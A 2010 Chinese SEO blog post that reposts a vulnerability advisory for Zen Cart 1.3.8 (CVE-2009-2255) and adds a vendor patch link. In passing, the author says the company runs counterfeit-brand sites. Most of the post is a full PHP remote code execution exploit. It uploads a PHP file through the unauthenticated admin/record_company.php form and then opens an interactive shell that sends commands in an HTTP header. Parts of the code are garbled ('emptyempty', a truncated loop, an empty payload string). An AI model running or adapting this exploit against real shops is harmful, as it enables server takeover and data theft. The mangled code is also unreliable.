cielkong | SEO技术 | 2010年04月21日ZenCart漏洞发现和解决之-Zen Cart record_company.php模块远程代码执行漏洞
公司很多网站都是用zencart制作的,大家都知道,几乎所有的仿牌网站都是如此。
但是zencart的安全性也随着其使用的广泛性而随之产生。从本文起,我们将就zencart 的安全使用进行一些分析。
我们会找出一些和zencart安全相关的文章,拿出来和大家一起分享。
Zen Cart record_company.php模块远程代码执行漏洞
添加时间:
2009-07-06
系统编号:
WAVDB-01454
BugCVE: CVE-2009-2255
BUGTRAQ: 35467
影响版本:
Zen Cart 1.3.8
程序介绍:
Zen Cart是一款免费开源的购物车软件。
漏洞分析:
Zen Cart没有对admin/record_company.php模块强制管理认证,远程攻击者可以通过record_company_image和PATH_INFO参数上传.php文件,并通过直接请求images/中的文件来访问上传的文件,导致执行任意指令。
漏洞利用:
01.#!/usr/bin/php
02. 03.
04.#
05.# ------- Zen Cart 1.3.8 Remote Code Execution
06.# http://www.zen-cart.com/
07.# Zen Cart Ecommerce - putting the dream of server rooting within reach of anyone!
08.# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
09.#
10.# BlackH ![]()
11.#
12.
13.error_reporting(E_ALL ^ E_NOTICE);
14.if($argc < 2)
15.{
16.echo "
17.=___________ Zen Cart 1.3.8 Remote Code Execution Exploit ____________=
18.========================================================================
19.| BlackH
20.========================================================================
21.| |
22.| \$system> php $argv[0]
23.| Notes:
24.| |
25.========================================================================
26.";exit(1);
27.}
28.
29.
30.$url = $argv[1];
31.$trick = "/password_forgotten.php";
32.
33.$xpl = new phpsploit();
34.$xpl->agent("Mozilla Firefox");
35.
36.$real_kthxbye = remote_exec($url);
37.
38.# Remote Code Execution Exploit
39.function remote_exec($url) {
40. global $xpl, $url, $trick;
41.
42. echo "\n[-] Remote Code Execution";
43.
44. if(!$xpl->get($url.'/admin/')) die("\n[!] error - the /admin/ directory is protected or don't exist.\n");
45.
46. $n = substr(md5(rand(0, 1337)), 0, 5).".php"; # random php file
47. $code = '';
48.
49. $form = array(frmdt_url => $url."/admin/record_company.php".$trick."?action=insert",
50. "record_company_name" => "0",
51. "record_company_image" => array(frmdt_type => "tgreal/suce", # it works ! o_O
52. frmdt_filename => $n,
53. frmdt_content => $code));
54.
55. if($xpl->formdata($form)) echo "\n[!] Done - Start Shell: ".$n;
56. else die("\n[!] error - can't upload the shell\n");
57.
58. print "\nrce@jah\$> ";
59.
60. while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN))))){
61. $xpl->addheader('SHELL',$cmd);
62. $xpl->get($url.'/images/'.$n);
63. print $xpl->getcontent()."\nrce@jah$> ";
64. # don't forget to "rm *.php" and exit
65. # you can use "Zen Cart 1.3.8 Remote SQL Execution Exploit"
66. # to clean the database (record_company & record_company_info)
67. }
68.}
69.
70.class phpsploit
71.{
72. var $proxyhost;
73. var $proxyport;
74. var $host;
75. var $path;
76. var $port;
77. var $method;
78. var $url;
79. var $packet;
80. var $proxyuser;
81. var $proxypass;
82. var $header;
83. var $cookie;
84. var $data;
85. var $boundary;
86. var $allowredirection;
87. var $last_redirection;
88. var $cookiejar;
89. var $recv;
90. var $cookie_str;
91. var $header_str;
92. var $server_content;
93. var $server_header;
94.
95.
96. /**
97. * This function is called by the
98. * get()/post()/formdata() functions.
99. * You don't have to call it, this is
100. * the main function.
101. *
102. * @access private
103. * @return string $this->recv ServerResponse
104. *
105. */
106. function sock()
107. {
108. if(!emptyempty($this->proxyhost) && !emptyempty($this->proxyport))
109. $socket = @fsockopen($this->proxyhost,$this->proxyport);
110. else
111. $socket = @fsockopen($this->host,$this->port);
112.
113. if(!$socket)
114. die("Error: Host seems down");
115.
116. if($this->method=='get')
117. $this->packet = 'GET '.$this->url." HTTP/1.1\r\n";
118.
119. elseif($this->method=='post' or $this->method=='formdata')
120. $this->packet = 'POST '.$this->url." HTTP/1.1\r\n";
121.
122. else
123. die("Error: Invalid method");
124.
125. if(!emptyempty($this->proxyuser))
126. $this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";
127.
128. if(!emptyempty($this->header))
129. $this->packet .= $this->showheader();
130.
131. if(!emptyempty($this->cookie))
132. $this->packet .= 'Cookie: '.$this->showcookie()."\r\n";
133.
134. $this->packet .= 'Host: '.$this->host."\r\n";
135. $this->packet .= "Connection: Close\r\n";
136.
137. if($this->method=='post')
138. {
139. $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
140. $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
141. $this->packet .= $this->data."\r\n";
142. }
143. elseif($this->method=='formdata')
144. {
145. $this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
146. $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
147. $this->packet .= $this->data;
148. }
149.
150. $this->packet .= "\r\n";
151. $this->recv = '';
152.
153. fputs($socket,$this->packet);
154.
155. while(!feof($socket))
156. $this->recv .= fgets($socket);
157.
158. fclose($socket);
159.
160. if($this->cookiejar)
161. $this->getcookie();
162.
163. if($this->allowredirection)
164. return $this->getredirection();
165. else
166. return $this->recv;
167. }
168.
169.
170. /**
171. * This function allows you to add several
172. * cookies in the request.
173. *
174. * @access public
175. * @param string cookn CookieName
176. * @param string cookv CookieValue
177. * @example $this->addcookie('name','value')
178. *
179. */
180. function addcookie($cookn,$cookv)
181. {
182. if(!isset($this->cookie))
183. $this->cookie = array();
184.
185. $this->cookie[$cookn] = $cookv;
186. }
187.
188.
189. /**
190. * This function allows you to add several
191. * headers in the request.
192. *
193. * @access public
194. * @param string headern HeaderName
195. * @param string headervalue Headervalue
196. * @example $this->addheader('Client-IP', '128.5.2.3')
197. *
198. */
199. function addheader($headern,$headervalue)
200. {
201. if(!isset($this->header))
202. $this->header = array();
203.
204. $this->header[$headern] = $headervalue;
205. }
206.
207.
208. /**
209. * This function allows you to use an
210. * http proxy server. Several methods
211. * are supported.
212. *
213. * @access public
214. * @param string proxy ProxyHost
215. * @param integer proxyp ProxyPort
216. * @example $this->proxy('localhost',8118)
217. * @example $this->proxy('localhost:8118')
218. *
219. */
220. function proxy($proxy,$proxyp='')
221. {
222. if(emptyempty($proxyp))
223. {
224. $proxarr = explode(':',$proxy);
225. $this->proxyhost = $proxarr[0];
226. $this->proxyport = (int)$proxarr[1];
227. }
228. else
229. {
230. $this->proxyhost = $proxy;
231. $this->proxyport = (int)$proxyp;
232. }
233.
234. if($this->proxyport > 65535)
235. die("Error: Invalid port number");
236. }
237.
238.
239. /**
240. * This function allows you to use an
241. * http proxy server which requires a
242. * basic authentification. Several
243. * methods are supported:
244. *
245. * @access public
246. * @param string proxyauth ProxyUser
247. * @param string proxypass ProxyPass
248. * @example $this->proxyauth('user','pwd')
249. * @example $this->proxyauth('user:pwd');
250. *
251. */
252. function proxyauth($proxyauth,$proxypass='')
253. {
254. if(emptyempty($proxypass))
255. {
256. $posvirg = strpos($proxyauth,':');
257. $this->proxyuser = substr($proxyauth,0,$posvirg);
258. $this->proxypass = substr($proxyauth,$posvirg+1);
259. }
260. else
261. {
262. $this->proxyuser = $proxyauth;
263. $this->proxypass = $proxypass;
264. }
265. }
266.
267.
268. /**
269. * This function allows you to set
270. * the 'User-Agent' header.
271. *
272. * @access public
273. * @param string useragent Agent
274. * @example $this->agent('Firefox')
275. *
276. */
277. function agent($useragent)
278. {
279. $this->addheader('User-Agent',$useragent);
280. }
281.
282.
283. /**
284. * This function returns the headers
285. * which will be in the next request.
286. *
287. * @access public
288. * @return string $this->header_str Headers
289. * @example $this->showheader()
290. *
291. */
292. function showheader()
293. {
294. $this->header_str = '';
295.
296. if(!isset($this->header))
297. return;
298.
299. foreach($this->header as $name => $value)
300. $this->header_str .= $name.': '.$value."\r\n";
301.
302. return $this->header_str;
303. }
304.
305.
306. /**
307. * This function returns the cookies
308. * which will be in the next request.
309. *
310. * @access public
311. * @return string $this->cookie_str Cookies
312. * @example $this->showcookie()
313. *
314. */
315. function showcookie()
316. {
317. $this->cookie_str = '';
318.
319. if(!isset($this->cookie))
320. return;
321.
322. foreach($this->cookie as $name => $value)
323. $this->cookie_str .= $name.'='.$value.'; ';
324.
325. return $this->cookie_str;
326. }
327.
328.
329. /**
330. * This function returns the last
331. * formed http request.
332. *
333. * @access public
334. * @return string $this->packet HttpPacket
335. * @example $this->showlastrequest()
336. *
337. */
338. function showlastrequest()
339. {
340. if(!isset($this->packet))
341. return;
342. else
343. return $this->packet;
344. }
345.
346.
347. /**
348. * This function sends the formed
349. * http packet with the GET method.
350. *
351. * @access public
352. * @param string url Url
353. * @return string $this->sock()
354. * @example $this->get('localhost/index.php?var=x')
355. * @example $this->get('http://localhost:88/tst.php')
356. *
357. */
358. function get($url)
359. {
360. $this->target($url);
361. $this->method = 'get';
362. return $this->sock();
363. }
364.
365.
366. /**
367. * This function sends the formed
368. * http packet with the POST method.
369. *
370. * @access public
371. * @param string url Url
372. * @param string data PostData
373. * @return string $this->sock()
374. * @example $this->post('http://localhost/','helo=x')
375. *
376. */
377. function post($url,$data)
378. {
379. $this->target($url);
380. $this->method = 'post';
381. $this->data = $data;
382. return $this->sock();
383. }
384.
385.
386. /**
387. * This function sends the formed http
388. * packet with the POST method using
389. * the multipart/form-data enctype.
390. *
391. * @access public
392. * @param array array FormDataArray
393. * @return string $this->sock()
394. * @example $formdata = array(
395. * frmdt_url => 'http://localhost/upload.php',
396. * frmdt_boundary => '123456', # Optional
397. * 'var' => 'example',
398. * 'file' => array(
399. * frmdt_type => 'image/gif', # Optional
400. * frmdt_transfert => 'binary' # Optional
401. * frmdt_filename => 'hello.php,
402. * frmdt_content => ''));
403. * $this->formdata($formdata);
404. *
405. */
406. function formdata($array)
407. {
408. $this->target($array[frmdt_url]);
409. $this->method = 'formdata';
410. $this->data = '';
411.
412. if(!isset($array[frmdt_boundary]))
413. $this->boundary = 'phpsploit';
414. else
415. $this->boundary = $array[frmdt_boundary];
416.
417. foreach($array as $key => $value)
418. {
419. if(!preg_match('#^frmdt_(boundary|url)#',$key))
420. {
421. $this->data .= str_repeat('-',29).$this->boundary."\r\n";
422. $this->data .= 'Content-Disposition: form-data; name="'.$key.'";';
423.
424. if(!is_array($value))
425. {
426. $this->data .= "\r\n\r\n".$value."\r\n";
427. }
428. else
429. {
430. $this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";
431.
432. if(isset($array[$key][frmdt_type]))
433. $this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";
434.
435. if(isset($array[$key][frmdt_transfert]))
436. $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";
437.
438. $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
439. }
440. }
441. }
442.
443. $this->data .= str_repeat('-',29).$this->boundary."--\r\n";
444. return $this->sock();
445. }
446.
447.
448. /**
449. * This function returns the content
450. * of the server response, without
451. * the headers.
452. *
453. * @access public
454. * @param string code ServerResponse
455. * @return string $this->server_content
456. * @example $this->getcontent()
457. * @example $this->getcontent($this->get('http://localhost/'))
458. *
459. */
460. function getcontent($code='')
461. {
462. if(emptyempty($code))
463. $code = $this->recv;
464.
465. $code = explode("\r\n\r\n",$code);
466. $this->server_content = '';
467.
468. for($i=1;$i
470.
471. return $this->server_content;
472. }
473.
474.
475. /**
476. * This function returns the headers
477. * of the server response, without
478. * the content.
479. *
480. * @access public
481. * @param string code ServerResponse
482. * @return string $this->server_header
483. * @example $this->getcontent()
484. * @example $this->getcontent($this->post('http://localhost/','1=2'))
485. *
486. */
487. function getheader($code='')
488. {
489. if(emptyempty($code))
490. $code = $this->recv;
491.
492. $code = explode("\r\n\r\n",$code);
493. $this->server_header = $code[0];
494.
495. return $this->server_header;
496. }
497.
498.
499. /**
500. * This function is called by the
501. * cookiejar() function. It adds the
502. * value of the "Set-Cookie" header
503. * in the "Cookie" header for the
504. * next request. You don't have to
505. * call it.
506. *
507. * @access private
508. * @param string code ServerResponse
509. *
510. */
511. function getcookie()
512. {
513. foreach(explode("\r\n",$this->getheader()) as $header)
514. {
515. if(preg_match('/set-cookie/i',$header))
516. {
517. $fequal = strpos($header,'=');
518. $fvirgu = strpos($header,';');
519.
520. // 12=strlen('set-cookie: ')
521. $cname = substr($header,12,$fequal-12);
522. $cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
523.
524. $this->cookie[trim($cname)] = trim($cvalu);
525. }
526. }
527. }
528.
529.
530. /**
531. * This function is called by the
532. * get()/post() functions. You
533. * don't have to call it.
534. *
535. * @access private
536. * @param string urltarg Url
537. * @example $this->target('http://localhost/')
538. *
539. */
540. function target($urltarg)
541. {
542. if(!ereg('^http://',$urltarg))
543. $urltarg = 'http://'.$urltarg;
544.
545. $urlarr = parse_url($urltarg);
546. $this->url = 'http://'.$urlarr['host'].$urlarr['path'];
547.
548. if(isset($urlarr['query']))
549. $this->url .= '?'.$urlarr['query'];
550.
551. $this->port = !emptyempty($urlarr['port']) ? $urlarr['port'] : 80;
552. $this->host = $urlarr['host'];
553.
554. if($this->port != '80')
555. $this->host .= ':'.$this->port;
556.
557. if(!isset($urlarr['path']) or emptyempty($urlarr['path']))
558. die("Error: No path precised");
559.
560. $this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);
561.
562. if($this->port > 65535)
563. die("Error: Invalid port number");
564. }
565.
566.
567. /**
568. * If you call this function,
569. * the script will extract all
570. * 'Set-Cookie' headers values
571. * and it will automatically add
572. * them into the 'Cookie' header
573. * for all next requests.
574. *
575. * @access public
576. * @param integer code 1(enabled) 0(disabled)
577. * @example $this->cookiejar(0)
578. * @example $this->cookiejar(1)
579. *
580. */
581. function cookiejar($code)
582. {
583. if($code=='0')
584. $this->cookiejar=FALSE;
585.
586. elseif($code=='1')
587. $this->cookiejar=TRUE;
588. }
589.
590.
591. /**
592. * If you call this function,
593. * the script will follow all
594. * redirections sent by the server.
595. *
596. * @access public
597. * @param integer code 1(enabled) 0(disabled)
598. * @example $this->allowredirection(0)
599. * @example $this->allowredirection(1)
600. *
601. */
602. function allowredirection($code)
603. {
604. if($code=='0')
605. $this->allowredirection=FALSE;
606.
607. elseif($code=='1')
608. $this->allowredirection=TRUE;
609. }
610.
611.
612. /**
613. * This function is called if
614. * allowredirection() is enabled.
615. * You don't have to call it.
616. *
617. * @access private
618. * @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
619. * @return string $this->get($this->last_redirection)
620. * @return string $this->recv;
621. *
622. */
623. function getredirection()
624. {
625. if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
626. {
627. $this->last_redirection = trim($codearr[2]);
628.
629. if(!ereg('://',$this->last_redirection))
630. return $this->get('http://'.$this->host.$this->path.$this->last_redirection);
631.
632. else
633. return $this->get($this->last_redirection);
634. }
635. else
636. return $this->recv;
637. }
638.
639.
640. /**
641. * This function allows you
642. * to reset some parameters.
643. *
644. * @access public
645. * @param string func Param
646. * @example $this->reset('header')
647. * @example $this->reset('cookie')
648. * @example $this->reset()
649. *
650. */
651. function reset($func='')
652. {
653. switch($func)
654. {
655. case 'header':
656. $this->header = array('');
657. break;
658.
659. case 'cookie':
660. $this->cookie = array('');
661. break;
662.
663. default:
664. $this->cookiejar = '';
665. $this->header = array('');
666. $this->cookie = array('');
667. $this->allowredirection = '';
668. break;
669. }
670. }
671.}
672.
673.?>
漏洞修复:
厂商补丁:
Zen Ventures
————
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.zen-cart.com/forum/showthread.php?t=130161
唉,好难懂啊..